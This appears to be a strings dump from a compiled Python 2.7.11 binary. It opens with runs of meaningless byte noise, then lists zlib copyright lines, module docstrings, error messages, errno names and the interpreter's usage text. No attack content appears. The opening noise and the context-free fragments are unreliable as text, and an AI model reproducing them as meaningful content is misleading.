k=\NoS=ZsN>ZUSe;?Z5KPK@ZkGnVAZ5EA6BZL7N?CZDZ-KEZw5FZBA;WGZ8L
jR1DHZ}5Q;IZ3PJZKZ=NLZMZNZw2QZOZhQPZUCRZ
SZTZUZ;P%Ry0VZ+GWZw=!CXZYZ}C7LZZ[Z>@WF\Z]Z4G^Z_ZH9@
tu*1r2t
41jU:8O
19F2pTMO\0KUu;JV770L6Fa1:9|Va9!7z<Zj[jyLs9\j{43CQ7X:]jtT^jV<_;_j^A8B_TJW`jajdjbjcj^I38D6ejjJMIM4P
YbbEfj5@R
8Wgj,W|HSXMX^TS
yTDI.SS8`3T
qt08TUO8pF]
cW?E@u
`>Huz8D
r9<uMuK
NuOuQue6RuR
Wua>Xul
^udueu
?e85cuhu#L
53~Tl9yPa
mi*WniVBmHd:oipiqiaVrisiuitiviwiaGxiXTyiN=b
zi{iO=|i(8>A}i21T;u9~ic
!j"j#jx7-<d
dJN`/T=O7U$j^U%jAP<9e
Be57Ce
x=6T%N,AY3
FeDeHe
JeGeO5HF
TCE1#<
KMMKJJSLLeKefD
!Q7QMe
8MpVOe]5
EJQ3YKlTRej7B
Ue~4VeK
t6ZeXeYe@5_
zZOPGD
JS*:"[qG
|Z{Z[I}Z
![^W~ZZA
I@#[&[#VH
.[,[B:O
*[GT?2U
OSztuGCWdE|t}t{tC
"u!u(:~tVKN
*M%u#u4=(uS
)uM=8Ca?aK*uT
&u'upDW
W4+u.u_
-u/uQPa
3u4u5uv
o@XV0R?A
DnEnFnkU$6HnGnInJn%GKnLn
07v5MnOn
F8PnQnRn[6.3SVFD51V8SnTn?TUG{>YN39VnUnXnWn%EYnZn.G[n/G\n'2]n^n_n`nanjWbncnX<dnKSzL,2eAen&G-C
fngnhninjnknln
mnnnon
pnqnrntnsn
un-MABvnwnxn!Uyn3Ozn{n
|n}n!o~n"ou8zC#o$oB=?Ry2%o&o'oxR(o}V)oLF
*o+o4A,ozOxK.o-oz3x9/o0obP1o2of7?P3o4o5oqH`L6o7o8o9o:o`U;om4*C<o
=o>o?o
}N@o`B846Wu=@
GOCoAoBoDo'6|<b>LCEoFoA
GoOoHoIoJoBGqoM6KoB
LoMoF6>CNoC
PoQoRorUD
ToxDUoVod8w0WoXoYoF
Zo[o\o]oG
^o5>ao_o`oH
bocoMAdoeofogohoiojokoloX@I
mo-AnooopoJ
ECEcAIFc\
U1JN34rHGcPOHcd<IcJcFC"UVDk9ENKcvCLc]
'7s8R:McNcDTOc^
PcKQQcRcScTcVQUc{2;@Vc_
+@WcXcYc`
eZ@7tQuRsUW=p
hWhZgZt
=8J<=B$BB3jZw
*B0D5=x
mZITUOcE
pZjAUL]O
sZ/06OG
@vAvQDc
[PEQ/<M9f
F4:SBv{3i
jS'v)Q~
*vpU,v9C
t;.v-v
??RCfCr
+:8h9h:hB>
3R%6jG|qnO3KkPoggMK9Y6}qd0LK~q$T-BlADF1>!rU<F
$rCR5FH
1SE?bLJ
&r'rUQn6(r)r_5*r+rK
|2,r-r'HL
)l*l+lt
.F-l.lw
<b=b>b?b@bAb97{R$=NJ%1GK
Bb|6DHCb
v6EbYD
FbZO]9Gb!@
sAJbKbxBLbMbNbWJ8XeYcOB
mB&TTM1Q[3}GR
52?B`f;JafbfT>cf$WUMef]<dfffgfnBS
>=hffB':ifT
jfR3iQU
%?kfoFlfmfW
nf-FofY
'Ipfqfrf9esftfbBufvfhVwfZ
>w<w!:f
BwAwDwk
}?j;IwGFHwq
JwLwKwr
QvRvSvTv
XvYvZv
]v^vJO
_v`vavbvcvdvp@evfvgvhviv
mvnvovpvqvrvsvtv(>
uvvvwvxv
zHyvzv{v|v
}v~v!w"w#w$w%w
&w'w(wn1)w*w+w
,w-w[A.w
qD/p&<0pyC\
1p2p3p4p5p<Q^
7p6p'T`
RM8p:p9p;p<pa
k8=ph:c
>p?pi>@pl6ApBpCpDp5HEpFpd
KpLpMpk
PpQpRpSpTpUpVpXpq
rJh@$p[
lwmwnwc
4vdA5v6v7v8v9v:v#H;v
zA(9hm
!#"###g!%#&#'#(#)#*#+#,#-#.#/#0#1#2#3#4#5#6#7#8#9#:#;#<#=#>#?#@#A#B#C#D#E#F#G#H#I#J#K#L#M#N#O#P#Q#R#S#T#U#V#W#X#Y#Z#[#\#]#^#_#`#a#b#c#d#e#f#g#h#i#j#k#l#m#n#o#p#q#r#s#t#u#v#w#x#y#z#{#|#}#+!
DaFLFC
#G)G|G
.GIzI}I
l!o!, z!
"L%O%V#t%
3F4m0H4r4
9r:m6t:M;
<U@j9W@^A
DKFYAMF`F
IvL)FxL
								
 inflate 1.2.8 Copyright 1995-2013 Mark Adler 
 deflate 1.2.8 Copyright 1995-2013 Jean-loup Gailly and Mark Adler 
Qkkbal
[-&LMb#{'
w+OQvr
)\ZEo^m/
H*0"ZOW
l!;b	F
mj>zjZ
IiGM>nw
ewh/?y
OZw3(?
V_:X1:
YaRwND9
_random.Random
getrandbits(k) -> x.  Generates a long int with k random bits.
getrandbits
jumpahead(int) -> None.  Create new state from existing state and integer.
jumpahead
setstate(state) -> None.  Restores generator state.
setstate
getstate() -> tuple containing the current state.
getstate
seed([n]) -> None.  Defaults to current time.
random() -> x in the interval [0, 1).
random
state vector must be a tuple
state vector is the wrong size
invalid state
jumpahead requires an integer, not '%s'
i:getrandbits
number of bits must be greater than zero
Random()
_random
Random
getlower
getcodesize
compile
_sre.SRE_Scanner
_sre.SRE_Match
lastgroup
lastindex
expand
groupdict
_sre.SRE_Pattern
groupindex
groups
__deepcopy__
scanner
finditer
maxsplit
source
pattern
endpos
expected string or buffer
buffer has negative size
buffer size mismatch
maximum recursion limit exceeded
internal error in regular expression engine
%s() takes at most %d positional arguments (%zd given)
Argument given by name ('%s') and position (1)
The '%s' keyword parameter name is deprecated.  Use 'string' instead.
Required argument 'string' (pos 1) not found
|OnnO:match
search
|OnnO:search
findall
|OnnO:findall
|OnO:split
OO|n:sub
OO|n:subn
cannot copy this pattern object
cannot deepcopy this pattern object
OiO!|nOO
regular expression code size limit exceeded
invalid SRE code
no such group
_expand
|O:groups
|O:groupdict
cannot copy this match object
cannot deepcopy this match object
O|nn:scanner
CODESIZE
MAXREPEAT
copyright
calcsize
_clearcache
Struct
struct size in bytes
struct format string
unpack_from
unpack
pack_into
z*|n:unpack_from
offset
buffer
format
bBhHiIlLqQ
integer argument expected, got float
integer argument expected, got non-integer (implicit conversion using __int__ is deprecated)
__int__ method returned non-integer
cannot convert argument to integer
'%c' format requires 0 <= number <= %zu
'%c' format requires %zd <= number <= %zd
byte format requires -128 <= number <= 127
ubyte format requires 0 <= number <= 255
char format require string of length 1
short format requires SHRT_MIN <= number <= SHRT_MAX
ushort format requires 0 <= number <= USHRT_MAX
required argument is not a float
bad char in struct format
total struct size too long
O:Struct
Struct() argument 1 must be string, not %s
s*:unpack
unpack requires a string argument of length %zd
unpack_from requires a buffer argument
unpack_from requires a buffer of at least %zd bytes
argument for 's' must be a string
argument for 'p' must be a string
integer out of range for '%c' format code
pack expected %zd items for packing (got %zd)
pack_into expected buffer argument
pack_into expected offset argument
pack_into expected %zd items for packing (got %zd)
pack_into requires a buffer of at least %zd bytes
missing format argument
_struct
struct.error
_PY_STRUCT_RANGE_CHECKING
_PY_STRUCT_FLOAT_COERCE
getweakrefs
getweakrefcount
Weak-reference support module.
_weakref
ReferenceType
ProxyType
CallableProxyType
arrayiterator
array.array
tounicode
tostring
tolist
tofile
fromunicode
fromstring
fromlist
fromfile
byteswap
buffer_info
the size, in bytes, of one array item
itemsize
the typecode character used to create the array
typecode
c;array item must be char
h;array item must be integer
signed char is less than minimum
signed char is greater than maximum
b;array item must be integer
u#;array item must be unicode character
array item must be unicode character
i;array item must be integer
unsigned short is less than minimum
unsigned short is greater than maximum
l;array item must be integer
unsigned int is less than minimum
unsigned int is greater than maximum
unsigned long is less than minimum
unsigned long is greater than maximum
f;array item must be float
d;array item must be float
..\Modules\arraymodule.c
array index out of range
can only append array (not "%.200s") to array
can only assign array (not "%.200s") to array slice
array assignment index out of range
can only extend with array of same kind
can only extend array with array (not "%.200s")
array.index(x): x not in list
array.remove(x): x not in list
|n:pop
pop from empty array
pop index out of range
nO:insert
don't know how to byteswap this array type
On:fromfile
arg1 must be open file
not enough items in file
array.read() not supported in 3.x; use array.fromfile()
arg must be open file
array.write() not supported in 3.x; use array.tofile()
arg must be list
s#:fromstring
array.fromstring(x): x cannot be self
string length not a multiple of item size
u#:fromunicode
fromunicode() may only be called on type 'u' arrays
tounicode() may only be called on type 'u' arrays
O(cO)O
array('%c')
array('%c', 
array indices must be integers
array indices must be integer
attempt to assign array of size %zd to extended slice of size %zd
Accessing non-existent array segment
array.array()
O|O:array
array() argument 1 or typecode must be char (string or ascii-unicode with length 1), not %s
bad typecode (must be c, b, B, u, h, H, i, I, l, L, f or d)
ArrayType
ratecv
getsample
tostereo
tomono
lin2adpcm
adpcm2lin
lin2lin
lin2alaw
alaw2lin
lin2ulaw
ulaw2lin
findfactor
findmax
findfit
minmax
Size should be 1, 2 or 4
not a whole number of frames
s#ii:getsample
Index out of range
s#i:max
s#i:minmax
s#i:avg
s#i:rms
s#s#:findfit
Strings should be even-sized
First sample should be longer
s#s#:findfactor
Samples should be same size
s#i:findmax
Input sample should be longer
s#i:avgpp
s#i:maxpp
s#i:cross
s#id:mul
s#idd:tomono
s#idd:tostereo
not enough memory for output buffer
s#s#i:add
Lengths should be the same
s#ii:bias
s#i:reverse
s#ii:lin2lin
s#iiiiO|ii:ratecv
# of channels should be >= 1
width * nchannels too big for a C int
weightA should be >= 1, weightB should be >= 0
sampling rate not > 0
iO!;audioop.ratecv: illegal state argument
illegal state argument
ii:ratecv
(O(iO))
s#i:lin2ulaw
s#i:ulaw2lin
s#i:lin2alaw
s#i:alaw2lin
s#iO:lin2adpcm
state must be a tuple or None
bad state
(O(ii))
s#iO:adpcm2lin
audioop
audioop.error
b2a_qp
a2b_qp
crc_hqx
rledecode_hqx
rlecode_hqx
unhexlify
hexlify
a2b_hex
b2a_hex
b2a_hqx
a2b_hqx
b2a_base64
a2b_base64
b2a_uu
a2b_uu
istext
quotetabs
header
s*:a2b_uu
Illegal char
Trailing garbage
s*:b2a_uu
At most 45 bytes at once
s*:a2b_base64
Incorrect padding
s*:b2a_base64
Too much data for base64 line
s*:a2b_hqx
String has incomplete number of bytes
s*:rlecode_hqx
s*:b2a_hqx
s*:rledecode_hqx
Orphaned RLE code at start
s*i:crc_hqx
s*|I:crc32
s*:b2a_hex
s*:a2b_hex
Odd-length string
Non-hexadecimal digit found
0123456789ABCDEF
s*|iii
binascii
binascii.Error
binascii.Incomplete
Incomplete
math domain error
math range error
D:phase
D:polar
dd:rect
D:isnan
Unpickler(file) -- Create an unpickler.
Unpickler
Pickler(file, protocol=0) -- Create a pickler.
This takes a file-like object for writing a pickle data stream.
The optional proto argument tells the pickler to use the given
protocol; supported protocols are 0, 1, 2.  The default
protocol is 0, to be backwards compatible.  (Protocol 0 is the
only protocol that can be written to a file opened in text
mode and read back successfully.  When using a protocol higher
than 0, make sure the file is opened in binary mode, both when
pickling and unpickling.)
Protocol 1 is more efficient than protocol 0; protocol 2 is
more efficient than protocol 1.
Specifying a negative protocol version selects the highest
protocol version supported.  The higher the protocol used, the
more recent the version of Python needed to read the pickle
produced.
The file parameter must have a write() method that accepts a single
string argument.  It can thus be an open file object, a StringIO
object, or any other custom object that meets this interface.
Pickler
loads(string) -- Load a pickle from the given string
load(file) -- Load a pickle from the given file
dumps(obj, protocol=0) -- Return a string containing an object in pickle format.
See the Pickler docstring for the meaning of optional argument proto.
dump(obj, file, protocol=0) -- Write an object in pickle format to the given file.
See the Pickler docstring for the meaning of optional argument proto.
cPickle.Unpickler
noload() -- not load a pickle, but go through most of the motions
This function can be used to read past a pickle without instantiating
any objects or importing any modules.  It can also be used to find all
persistent references without instantiating any objects or importing
any modules.
noload
load() -- Load a pickle
cPickle.Pickler
PicklingError
inst_persistent_id
binary
protocol
getvalue() -- Finish picking a list-based pickle
getvalue
clear_memo() -- Clear the picklers memo
clear_memo
dump(object) -- Write an object in pickle format to the object's pickle stream
cPickle.Pdata
unpickling stack underflow
no int where int expected in memo
__module__
modules
fast mode: can't pickle cyclic objects including object type %s at %p
long too large to pickle
 while pickling an object
dict items iterator must return 2-tuples
dictionary changed size during iteration
class has no name
Can't pickle %s: import of module %s failed
Can't pickle %s: attribute lookup %s.%s failed
Can't pickle %s: it's not the same object as %s.%s
Can't pickle %s: extension code %s isn't an integer
Can't pickle %s: extension code %ld is out of range
persistent id must be string
tuple returned by %s must contain 2 through 5 elements
save_reduce
Second element of tuple returned by %s must be a tuple
Fourth element of tuple returned by %s must be an iterator, not %s
Fifth element of tuple returned by %s must be an iterator, not %s
__newobj__
__newobj__ arglist is empty
__new__
args[0] from __newobj__ args has no __new__
args[0] from __newobj__ args has the wrong class
Value returned by %s must be string or tuple
|i:getvalue
Attempt to getvalue() a non-list-based pickler
Invalid get data
Unexpected data in internal list
O|i:dump
pickle protocol %d asked for; the highest available protocol is %d
I/O operation on closed file
argument must have 'write' attribute
copy_reg
|i:Pickler
O|i:Pickler
persistent_id
attribute deletion is not supported
memo must be a dictionary
Global and instance pickles are not supported.
could not find MARK
pickle data was truncated
could not convert string to int
LONG pickle has negative byte count
could not convert string to float
insecure string pickle
BINSTRING pickle has negative byte count
BINUNICODE pickle has negative byte count
bad pickle data
NEWOBJ expected an arg tuple.
NEWOBJ class argument isn't a type object
NEWOBJ class argument has NULL tp_new
A load persistent id instruction was encountered,
but no persistent_load function was specified.
EXT specifies code <= 0
unregistered extension code %ld
_inverted_registry[%ld] isn't a 2-tuple of strings
state is not a dictionary
slot state is not a dictionary
unsupported pickle protocol: %d
invalid load key, '%s'.
argument must have 'read' and 'readline' attributes
persistent_load
find_global
UnpicklingError
O|i:dumps
S:loads
__class__
__getinitargs__
__getstate__
__name__
__main__
__reduce_ex__
readline
dispatch_table
_extension_registry
_inverted_registry
_extension_cache
__builtins__
def __str__(self):
  return self.args and ('%s' % self.args[0]) or '(what)'
cPickle.PickleError
cPickle.PicklingError
def __str__(self):
  a=self.args
  a=a and type(a[0]) or '(what)'
  return 'Cannot pickle %s objects' % a
cPickle.UnpickleableError
cPickle.UnpicklingError
cPickle.BadPickleGet
PickleError
UnpickleableError
BadPickleGet
cStringIO.cStringIO_CAPI
cPickle
HIGHEST_PROTOCOL
[sssss]
format_version
compatible_formats
cStringIO.StringI
cStringIO.StringO
flag indicating that a space needs to be printed; used by print
softspace
writelines
truncate
readlines
isatty
True if the file is closed
getval
length too large
|n:read
|i:readline
|n:readlines
|n:truncate
n|i:seek
new position too large
out of memory
s*:write
s*:StringIO
StringIO
cStringIO
cStringIO_CAPI
InputType
OutputType
datetime.datetime
tz -> convert to local time in new timezone tz
astimezone
Return datetime with new specified fields.
[sep] -> string in ISO 8601 format, YYYY-MM-DDTHH:MM:SS[.mmmmmm][+HH:MM].
sep is used to separate the year from the time, and defaults to 'T'.
Return UTC time tuple, compatible with time.localtime().
utctimetuple
Return time object with same time and tzinfo.
timetz
Return time object with same time but with tzinfo=None.
Return date object with same year, month and day.
date, time -> datetime with same date and time fields
combine
string, format -> new datetime parsed from a string (like time.strptime()).
strptime
timestamp -> UTC datetime from a POSIX timestamp (like time.time()).
utcfromtimestamp
timestamp[, tz] -> tz's local time from POSIX timestamp.
Return a new datetime representing UTC day and time.
utcnow
[tz] -> new datetime with tz's local day and time.
timestamp
datetime.time
Return time with new specified fields.
Return self.tzinfo.dst(self).
Return self.tzinfo.tzname(self).
Return self.tzinfo.utcoffset(self).
Return string in ISO 8601 format, HH:MM:SS[.mmmmmm][+HH:MM].
tzinfo
microsecond
second
minute
datetime.tzinfo
-> (cls, state)
datetime in UTC -> datetime in local time.
fromutc
datetime -> DST offset in minutes east of UTC.
datetime -> minutes east of UTC (negative for west of UTC).
datetime -> string name of time zone.
datetime.date
Return date with new specified fields.
Return the day of the week represented by the date.
Monday == 0 ... Sunday == 6
weekday
Return proleptic Gregorian ordinal.  January 1 of year 1 is day 1.
toordinal
Return the day of the week represented by the date.
Monday == 1 ... Sunday == 7
isoweekday
Return string in ISO 8601 format, YYYY-MM-DD.
Return a 3-tuple containing ISO year, week number, and weekday.
isocalendar
Return time tuple, compatible with time.localtime().
Formats self with strftime.
__format__
format -> strftime() style string.
Return ctime() style string.
Current date or datetime:  same as self.__class__.fromtimestamp(time.time()).
int -> date corresponding to a proleptic Gregorian ordinal.
fromordinal
timestamp -> local date from a POSIX timestamp (like time.time()).
datetime.timedelta
__reduce__() -> (cls, state)
Total seconds in the duration.
total_seconds
Number of microseconds (>= 0 and less than 1 second).
Number of seconds (>= 0 and less than 1 day).
Number of days.
minutes
milliseconds
microseconds
seconds
days=%d; must have magnitude <= %d
year is out of range
month must be in 1..12
day is out of range for month
hour must be in 0..23
minute must be in 0..59
second must be in 0..59
microsecond must be in 0..999999
date value out of range
tzinfo argument must be None or of a tzinfo subclass, not type '%s'
tzinfo.%s() must return a whole number of minutes
tzinfo.%s() must return None or timedelta, not '%s'
tzinfo.%s() returned %d; must be in -1439 .. 1439
utcoffset
tzname
tzinfo.tzname() must return None or a string, not '%s'
, tzinfo=
%s %s %2d %02d:%02d:%02d %04d
%c%02d%s%02d
year=%ld is before 1900; the datetime strftime() methods require year >= 1900
strftime format ends with raw %
replace
tzname.replace() did not return a string
strftime
%04d-%02d-%02d
%02d:%02d:%02d
((iiiiiiiii))
struct_time
can't compare %s to %s
normalized days too large to fit in a C int
unsupported type for timedelta %s component: %s
|OOOOOOO:__new__
%s(%d, %d, %d)
%s(%d, %d)
%s(%d)
%d day%s, 
%d:%02d:%02d
goofy result from PyOS_snprintf
timestamp out of range for platform localtime() function
fromtimestamp
d:fromtimestamp
i:fromordinal
ordinal must be >= 1
isoformat
s#:strftime
timetuple
O:__format__
__format__ expects str or unicode, not %.200s
|iii:replace
a tzinfo subclass must implement %s()
fromutc: argument must be a datetime
fromutc: dt.tzinfo is not self
fromutc: non-None utcoffset() result required
fromutc: non-None dst() result required
fromutc: tz.dst() gaveinconsistent results; cannot convert
bad tzinfo state arg
|iiiiO
%s(%d, %d, %d, %d)
iiiiiiiii
can't compare offset-naive and offset-aware times
|iiiiO:replace
iii|iiiiO
iiiiiiiO
timestamp out of range for platform localtime()/gmtime() function
|O:now
d|O:fromtimestamp
d:utcfromtimestamp
ss:strptime
_strptime
iiiiiii
unexpected value from _strptime._strptime
O!O!:combine
can't subtract offset-naive and offset-aware datetimes
%s(%d, %d, %d, %d, %d, %d, %d)
%s(%d, %d, %d, %d, %d, %d)
%s(%d, %d, %d, %d, %d)
|c:isoformat
can't compare offset-naive and offset-aware datetimes
|iiiiiiiO:replace
O!:astimezone
astimezone() cannot be applied to a naive datetime
Fast implementation of the datetime type.
datetime
MINYEAR
MAXYEAR
timedelta
datetime.datetime_CAPI
datetime_CAPI
errorcode
ENODEV
EHOSTUNREACH
ENOSYS
EINVAL
EUSERS
ENOTEMPTY
ENOBUFS
EREMOTE
ECHILD
EMSGSIZE
EAFNOSUPPORT
EHOSTDOWN
EPFNOSUPPORT
ENOPROTOOPT
EWOULDBLOCK
EISCONN
ESHUTDOWN
EPROTOTYPE
ENOSPC
ENOEXEC
EALREADY
ENETDOWN
EACCES
EILSEQ
ENOTDIR
ECONNREFUSED
EISDIR
EPROTONOSUPPORT
EADDRNOTAVAIL
ENFILE
ESPIPE
ENETRESET
ETIMEDOUT
ENOENT
EEXIST
EDQUOT
EFAULT
EDEADLK
ENOTCONN
EDESTADDRREQ
ENOLCK
ECONNABORTED
ENETUNREACH
ESTALE
ENOMEM
ENOTSOCK
EMLINK
ERANGE
ECONNRESET
EADDRINUSE
EOPNOTSUPP
EAGAIN
ENAMETOOLONG
ENOTTY
ESOCKTNOSUPPORT
EDEADLOCK
ETOOMANYREFS
EMFILE
EINPROGRESS
WSAEHOSTDOWN
WSAENETDOWN
WSAENOTSOCK
WSAEHOSTUNREACH
WSAELOOP
WSAEMFILE
WSAESTALE
WSAVERNOTSUPPORTED
WSAENETUNREACH
WSAEPROCLIM
WSAEFAULT
WSANOTINITIALISED
WSAEUSERS
WSAENOPROTOOPT
WSAECONNABORTED
WSAENAMETOOLONG
WSAENOTEMPTY
WSAESHUTDOWN
WSAEAFNOSUPPORT
WSAETOOMANYREFS
WSAEACCES
WSABASEERR
WSAEMSGSIZE
WSAEBADF
WSAECONNRESET
WSAETIMEDOUT
WSAENOBUFS
WSAEDISCON
WSAEINTR
WSAEPROTOTYPE
WSAEADDRINUSE
WSAEADDRNOTAVAIL
WSAEALREADY
WSAEPROTONOSUPPORT
WSASYSNOTREADY
WSAEWOULDBLOCK
WSAEPFNOSUPPORT
WSAEOPNOTSUPP
WSAEISCONN
WSAEDQUOT
WSAENOTCONN
WSAEREMOTE
WSAEINVAL
WSAEINPROGRESS
WSAESOCKTNOSUPPORT
WSAEDESTADDRREQ
WSAECONNREFUSED
WSAENETRESET
ifilter
future_builtins
itertools
get_referents
get_referrers
is_tracked
get_objects
collect
get_threshold
set_threshold
get_count
get_debug
set_debug
isenabled
generation
gc: %.100s <%.100s instance at %p>
gc: %.100s <%.100s %p>
gc couldn't create gc.garbage list
__del__
gc couldn't allocate "__del__"
gc: collecting generation %d...
gc: objects in each generation:
collectable
uncollectable
gc: done
gc: done, %d unreachable, %d uncollectable
, %.4fs elapsed
garbage collection
unexpected exception during garbage collection
invalid generation
i:set_debug
i|ii:set_threshold
garbage
DEBUG_STATS
DEBUG_COLLECTABLE
DEBUG_UNCOLLECTABLE
DEBUG_INSTANCES
DEBUG_OBJECTS
DEBUG_SAVEALL
DEBUG_LEAK
GC object already tracked
grey2rgb
rgb2grey
rgb82rgb
rgb2rgb8
tovideo
grey42grey
grey22grey
mono2grey
dither2grey2
dither2mono
grey2grey4
grey2grey2
grey2mono
%s value is negative or nul
String has incorrect length
backward_compatible
s#iiiiiii
abs(newy2-newy1)+1
abs(newx2-newx1)+1
s#iiiii
Size should be 1 or 4
s#iiii
the imageop module has been removed in Python 3.0
imageop
imageop.error
itertools.izip_longest
itertools.repeat
object
itertools.izip
itertools.count
itertools.ifilterfalse
itertools.ifilter
itertools.compress
selectors
itertools.permutations
itertools.combinations_with_replacement
itertools.combinations
itertools.product
itertools.chain
from_iterable
itertools.imap
itertools.starmap
itertools.islice
itertools.takewhile
itertools.dropwhile
itertools.cycle
itertools.tee
itertools.tee_dataobject
itertools._grouper
itertools.groupby
O|O:groupby
n must be >= 0
cycle()
dropwhile()
dropwhile
takewhile()
takewhile
islice()
islice
Stop argument for islice() must be None or an integer: 0 <= x <= maxint.
Indices for islice() must be None or an integer: 0 <= x <= maxint.
Step for islice() must be a positive integer or None.
starmap()
starmap
imap()
imap() must have at least two arguments.
chain()
repeat
|n:product
repeat argument cannot be negative
repeat argument too large
On:combinations
r must be non-negative
On:combinations_with_replacement
O|O:permutations
OO:compress
ifilter()
ifilterfalse()
ifilterfalse
|OO:count
a number is required
count(%zd)
count(%s)
count(%s, %s)
izip()
izip argument #%zd must support iteration
O|n:repeat
repeat(%s)
repeat(%s, %zd)
len() of unsized object
fillvalue
izip_longest() got an unexpected keyword argument
izip_longest argument #%zd must support iteration
PYTHONHASHSEED: if this variable is set to 'random', the effect is the same
   as specifying the -R option: a random value is used to seed the hashes of
   str, bytes and datetime objects.  It can also be set to an integer
   in the range [0,4294967295] to get hash values with a predictable seed.
PYTHONHOME   : alternate <prefix> directory (or <prefix>%c<exec_prefix>).
               The default module search path uses %s.
PYTHONCASEOK : ignore case in 'import' statements (Windows).
PYTHONIOENCODING: Encoding[:errors] used for stdin/stdout/stderr.
-3     : warn about Python 3.x incompatibilities that 2to3 cannot trivially fix
file   : program read from script file
-      : program read from stdin (default; interactive mode if a tty)
arg ...: arguments passed to program in sys.argv[1:]
Other environment variables:
PYTHONSTARTUP: file executed on interactive startup (no default)
PYTHONPATH   : '%c'-separated list of directories prefixed to the
               default module search path.  The result is sys.path.
-u     : unbuffered binary stdout and stderr; also PYTHONUNBUFFERED=x
         see man page for details on internal buffering relating to '-u'
-v     : verbose (trace import statements); also PYTHONVERBOSE=x
         can be supplied multiple times to increase verbosity
-V     : print the Python version number and exit (also --version)
-W arg : warning control; arg is action:message:category:module:lineno
         also PYTHONWARNINGS=arg
-x     : skip first line of source, allowing use of non-Unix forms of #!cmd
         if stdin does not appear to be a terminal; also PYTHONINSPECT=x
-m mod : run library module as a script (terminates option list)
-O     : optimize generated bytecode slightly; also PYTHONOPTIMIZE=x
-OO    : remove doc-strings in addition to the -O optimizations
-R     : use a pseudo-random salt to make hash() values of various types be
         unpredictable between separate invocations of the interpreter, as
         a defense against denial-of-service attacks
-Q arg : division options: -Qold (default), -Qwarn, -Qwarnall, -Qnew
-s     : don't add user site directory to sys.path; also PYTHONNOUSERSITE
-S     : don't imply 'import site' on initialization
-t     : issue warnings about inconsistent tab usage (-tt: issue errors)
Options and arguments (and corresponding environment variables):
-B     : don't write .py[co] files on import; also PYTHONDONTWRITEBYTECODE=x
-c cmd : program passed in as string (terminates option list)
-d     : debug output from parser; also PYTHONDEBUG=x
-E     : ignore PYTHON* environment variables (such as PYTHONPATH)
-h     : print this help message and exit (also --help)
-i     : inspect interactively after running script; forces a prompt even
usage: %s [option] ... [-c cmd | -m mod | file | -] [arg] ...
Try `python -h' for more information.
<prefix>\lib
PYTHONSTARTUP
Could not open PYTHONSTARTUP
Could not import runpy module
_run_module_as_main
Could not access runpy._run_module_as_main
Could not create arguments for runpy._run_module_as_main
3bBc:dEhiJm:OQ:RsStuUvVW:xX?
PYTHONHASHSEED
not enough memory to copy -c argument
not enough memory to copy -m argument
warnall
-Q option should be `-Qold', `-Qwarn', `-Qwarnall', or `-Qnew' only
2.7.11
Python %s
PYTHONINSPECT
PYTHONUNBUFFERED
PYTHONNOUSERSITE
PYTHONWARNINGS
not enough memory to copy PYTHONWARNINGS
Python %s on %s
Type "help", "copyright", "credits" or "license" for more information.
%s: can't open file '%s': [Errno %d] %s
%s: '%s' is a directory, cannot continue
<stdin>
radians
lgamma
factorial
degrees
copysign
math.fsum partials
intermediate overflow in fsum
-inf + inf in fsum
factorial() only accepts integral values
factorial() not defined for negative values
__trunc__
dO:ldexp
Expected an int or long as second argument to ldexp.
_md5.md5
digestsize
block_size
digest_size
hexdigest
digest
update
s*:update
|s*:new
MD5Type
access
tagname
length
mmap.mmap
write_byte
resize
read_byte
mmap closed or invalid
read byte out of range
n:read
s#|nn:rfind
s#|nn:find
mmap can't modify a readonly memory map.
mmap can't resize a readonly or copy-on-write memory map.
s#:write
data out of range
c:write_byte
write byte out of range
n:resize
|nn:flush
flush values out of range
unknown seek type
seek out of range
kkk:move
source, destination, or count out of range
Accessing non-existent mmap segment
accessing non-existent buffer segment
mmap index out of range
mmap indices must be integers
mmaps don't support concatenation
mmaps don't support repeat operation
mmap object doesn't support slice deletion
mmap slice assignment must be a string
mmap slice assignment is wrong size
mmap object doesn't support item deletion
mmap assignment must be single-character string
mmap indices must be integer
memory mapped %s must be positive
map size must be an integral value
iO|ziL
mmap invalid access parameter.
memory mapped offset must be positive
cannot mmap an empty file
mmap offset is greater than file size
mmap length is too large
mmap.error
PAGESIZE
ALLOCATIONGRANULARITY
ACCESS_READ
ACCESS_WRITE
ACCESS_COPY
operator.methodcaller
operator.attrgetter
operator.itemgetter
_compare_digest
__ge__
ge(a, b) -- Same as a>=b.
__gt__
gt(a, b) -- Same as a>b.
__ne__
ne(a, b) -- Same as a!=b.
__eq__
eq(a, b) -- Same as a==b.
__le__
le(a, b) -- Same as a<=b.
lt(a, b) -- Same as a<b.
__delslice__
delslice(a, b, c) -- Same as del a[b:c].
delslice
__setslice__
setslice(a, b, c, d) -- Same as a[b:c] = d.
setslice
__getslice__
getslice(a, b, c) -- Same as a[b:c].
getslice
__ipow__
a = ipow(a, b) -- Same as a **= b.
__pow__
pow(a, b) -- Same as a ** b.
__delitem__
delitem(a, b) -- Same as del a[b].
delitem
__setitem__
setitem(a, b, c) -- Same as a[b] = c.
setitem
__getitem__
getitem(a, b) -- Same as a[b].
getitem
__irepeat__
a = irepeat(a, b) -- Same as a *= b, where a is a sequence, and b is an integer.
irepeat
__iconcat__
a = iconcat(a, b) -- Same as a += b, for a and b sequences.
iconcat
__repeat__
repeat(a, b) -- Return a * b, where a is a sequence, and b is an integer.
__concat__
concat(a, b) -- Same as a + b, for a and b sequences.
concat
__ior__
a = ior(a, b) -- Same as a |= b.
__ixor__
a = ixor(a, b) -- Same as a ^= b.
__iand__
a = iand(a, b) -- Same as a &= b.
__irshift__
a = irshift(a, b) -- Same as a >>= b.
irshift
__ilshift__
a = ilshift(a, b) -- Same as a <<= b.
ilshift
__imod__
a = imod(a, b) -- Same as a %= b.
__itruediv__
a = itruediv(a, b) -- Same as a /= b when __future__.division is in effect.
itruediv
__ifloordiv__
a = ifloordiv(a, b) -- Same as a //= b.
ifloordiv
__idiv__
a = idiv(a, b) -- Same as a /= b when __future__.division is not in effect.
__imul__
a = imul(a, b) -- Same as a *= b.
__isub__
a = isub(a, b) -- Same as a -= b.
__iadd__
a = iadd(a, b) -- Same as a += b.
__or__
or_(a, b) -- Same as a | b.
__xor__
xor(a, b) -- Same as a ^ b.
__and__
and_(a, b) -- Same as a & b.
__not__
not_(a) -- Same as not a.
__rshift__
rshift(a, b) -- Same as a >> b.
rshift
__lshift__
lshift(a, b) -- Same as a << b.
lshift
__invert__
invert(a) -- Same as ~a.
invert
__inv__
inv(a) -- Same as ~a.
__abs__
abs(a) -- Same as abs(a).
__pos__
pos(a) -- Same as +a.
__neg__
neg(a) -- Same as -a.
__mod__
mod(a, b) -- Same as a % b.
__truediv__
